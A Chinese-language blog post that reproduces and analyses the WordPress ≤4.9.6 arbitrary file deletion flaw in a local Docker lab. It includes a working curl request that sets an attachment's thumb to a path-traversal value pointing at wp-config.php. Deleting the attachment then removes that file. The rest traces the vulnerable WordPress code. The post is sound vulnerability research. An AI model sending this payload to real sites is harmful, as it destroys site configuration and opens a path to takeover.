0x01 前言

和预期超了几天,毕业了挺多聚会的,在学校的日子总是过得那么快,一转眼就毕业了。好些东西都没去好好珍惜,大学也不要求有多大的成就,就希望每天都能开开心心就最好的。 今天这篇文章的分析早就有人发过了,不过我觉得我还是得写一下,毕竟我要有我自己的风格。还是老样子,先测试漏洞怎么触发,然后再去做分析。

0x02 环境搭建

旧的和新的区别不大,只要不大于4.9.6就行了,这次测试的是4.6版本的,具体怎么搭建按照上一篇的文章方法搭建就行了,这里就不再过一遍了。 https://getpass.cn/2018/06/18/Analysis-of-WordPress%3C=4.6-Command-Execution-Vulnerability/

本文中用的搭建环境是docker+Kitematic,都差不多的,用图形界面比较方便些。

0x03 漏洞复现

1.漏洞执行流程

先给一个大概的框架,代码稍后再分析就会很明了了。

2.复现过程

-登录账号

-上传文件

-编辑文件

-执行Payload

首先要获取_wpnoncecookies还有post的id 然后执行: curl -v 'http://127.0.0.1/wp-admin/post.php?post=5' -H 'Cookie: xxx' -d 'action=editattachment&_wpnonce=xxx&thumb=../../../../wp-config.php' 我这里用的是curl,在Macos比较方便,如果是win可以用抓包发包。

-删除文件

然后点击删除

执行完之后会跳转到安装界面。 然后wp-config.php也不在网站目录下了

0x04 漏洞分析

1.phpmyadmin安装

在命令行里面看数据不太好看,装个图形界面比较清楚,进入docker的交互式: 查看容器ID docker ps 进入指定容器的交互式 docker exec -it ID /bin/bash 安装phpmyadmin,输入下面的命令就行了: apt update apt install phpmyadmin 然后输入MySQL的账号密码,再创建链接: ln -s /usr/share/phpmyadmin /var/www/html/phpmyadmin 最后输入 htpp://127.0.0.1/phpmyadmin进入

2.分析如何插入thumb属性

我们看下Payload里面是传了什么参数:

  • post
  • action
  • thumb

post传入的ID就不分析了,直接看action的参数的值是editattachment,代码是在/wp-admin/post.php的178~189行

case 'editattachment':
	check_admin_referer('update-post_' . $post_id);

	// Don't let these be changed
	unset($_POST['guid']);
	$_POST['post_type'] = 'attachment';

	// Update the thumbnail filename
	$newmeta = wp_get_attachment_metadata( $post_id, true );
    //这里把POST过来的thumb赋值给newmeta数值里面的thumb
	$newmeta['thumb'] = $_POST['thumb'];
    //执行update函数
	wp_update_attachment_metadata( $post_id, $newmeta );

我们继续跟进wp_update_attachment_metadata函数,在/wp-includes/post.php文件的5079~5097行:

function wp_update_attachment_metadata( $attachment_id, $data ) {
	$attachment_id = (int) $attachment_id;
	if ( ! $post = get_post( $attachment_id ) ) {
		return false;
	}
	if ( $data = apply_filters( 'wp_update_attachment_metadata', $data, $post->ID ) )
		return update_post_meta( $post->ID, '_wp_attachment_metadata', $data );
	else
		return delete_post_meta( $post->ID, '_wp_attachment_metadata' );
}

上面一些函数过滤的可以直接去读一下,对插入这个值是没什么影响的,记住传入的$meta_key的值是_wp_attachment_metadata我们继续跟进函数update_post_meta,

$updated = update_metadata( 'post', $post_id, $meta_key, $meta_value, $prev_value );

这个函数没什么好分析的,我们继续跟进这个函数里面的update_metadata函数的202行:

	if ( empty( $meta_ids ) ) {
		return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
	}

继续跟进add_metadata函数,前面都是序列化操作和过滤操作,主要看96~100行的插入sql执行语句:

	$result = $wpdb->insert( $table, array(
		$column => $object_id,
		'meta_key' => $meta_key,
		'meta_value' => $meta_value
	) );

我们来实现这个代码的执行流程,我们再次上传图片,然后执行Payload。

执行前的wp_postmeta_wp_attachment_metadata字段内容: 可以复制内容到https://1024tools.com/unserialize 网站,也可以用浏览器插件 执行后: 可以看出已经成功插入thumb的内容了。

3.分析任意文件删除

还是从文件/wp-admin/post.php开始分析,找到action是delete的case地方,在246~2268行,它这里判断了post_type是否等于attachment,这个在上面插入的那个函数里面已经赋值了,可以回去看下183行。

case 'delete':
	check_admin_referer('delete-post_' . $post_id);

	if ( ! $post )
		wp_die( __( 'This item has already been deleted.' ) );

	if ( ! $post_type_object )
		wp_die( __( 'Invalid post type.' ) );

	if ( ! current_user_can( 'delete_post', $post_id ) )
		wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

	if ( $post->post_type == 'attachment' ) {
		$force = ( ! MEDIA_TRASH );
		if ( ! wp_delete_attachment( $post_id, $force ) )
			wp_die( __( 'Error in deleting.' ) );
	} else {
		if ( ! wp_delete_post( $post_id, true ) )
			wp_die( __( 'Error in deleting.' ) );
	}

	wp_redirect( add_query_arg('deleted', 1, $sendback) );
	exit();

我们继续跟进wp_delete_attachment函数,在wp-includes/post.php的5002~5010行,可以看到执行sql语句查询出来的$meta['thumb']的值,然后下面也没过滤直接就带入了unlink函数,而且通过上面的分析$meta['thumb']的值是可控的,这样就造成了任意文件的删除。

	if ( ! empty($meta['thumb']) ) {
		// Don't delete the thumb if another attachment uses it.
		if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) {
			$thumbfile = str_replace(basename($file), $meta['thumb'], $file);
			/** This filter is documented in wp-includes/functions.php */
			$thumbfile = apply_filters( 'wp_delete_file', $thumbfile );
			@ unlink( path_join($uploadpath['basedir'], $thumbfile) );
		}
	}

0x05 结束

写这个文章写到一半忘了保存又重新写了一遍,心累。。。

0x06 参考

https://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/ https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/ https://1024tools.com/unserialize